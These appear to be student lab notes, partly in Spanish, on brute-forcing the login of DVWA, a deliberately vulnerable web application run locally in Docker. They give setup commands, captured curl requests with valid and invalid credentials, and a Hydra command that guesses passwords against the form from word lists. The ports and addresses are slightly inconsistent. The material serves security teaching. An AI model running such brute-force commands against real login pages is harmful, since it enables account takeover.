1. docker:

```
sudo docker pull vulnerables/web-dvwa
sudo docker run --rm -it -p  8880:80 vulnerables/web-dvwa
sudo docker exec -it lab2Cripto /bin/bash
sudo apt-get update && sudo apt-get upgrade -y
sudo apt-get install hydra
```

cURL con credenciales válidas:

```
curl
'http://127.0.0.2:8080/vulnerabilities/brute/?username=admin&password=password&Log
in=Login' \
  -H 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'Accept-Language: en-US,en;q=0.9' \
  -H 'Cache-Control: max-age=0' \
  -H 'Cookie: PHPSESSID=4l17vjiap70pfr3oslpn1vpfl7; security=low' \
  -H 'Proxy-Connection: keep-alive' \
  -H 'Referer:
http://127.0.0.2:8080/vulnerabilities/brute/?username=admin&password=passsword&Lo
gin=Login' \
  -H 'Sec-Fetch-Dest: document' \
  -H 'Sec-Fetch-Mode: navigate' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-User: ?1' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36' \
  -H 'sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "Linux"'
```

cURL con credenciales inválidas:

```
curl
'http://127.0.0.1:8080/vulnerabilities/brute/?username=user&password=contrasena&Log
in=Login' \
  -H 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'Accept-Language: en-US,en;q=0.9' \
```

```
 -H 'Cookie: PHPSESSID=4l17vjiap70pfr3oslpn1vpfl7; security=low' \
 -H 'Proxy-Connection: keep-alive' \
 -H 'Referer: http://127.0.0.1:8080/vulnerabilities/brute/' \
 -H 'Sec-Fetch-Dest: document' \
 -H 'Sec-Fetch-Mode: navigate' \
 -H 'Sec-Fetch-Site: same-origin' \
 -H 'Sec-Fetch-User: ?1' \
 -H 'Upgrade-Insecure-Requests: 1' \
 -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36' \
 -H 'sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"' \
 -H 'sec-ch-ua-mobile: ?0' \
 -H 'sec-ch-ua-platform: "Linux"'
```

HYDRA:
```
hydra -L users.txt -P contras.txt
'http-get-form://127.0.0.1:8080/vulnerabilities/brute/:username=^USER^&password=^PA
SS^&Login=Login:H=Cookie: PHPSESSID=8kdvhdjdaics2eqjnfpguhi5k0;
security=low:F=Username and/or password incorrect.' -I -V
```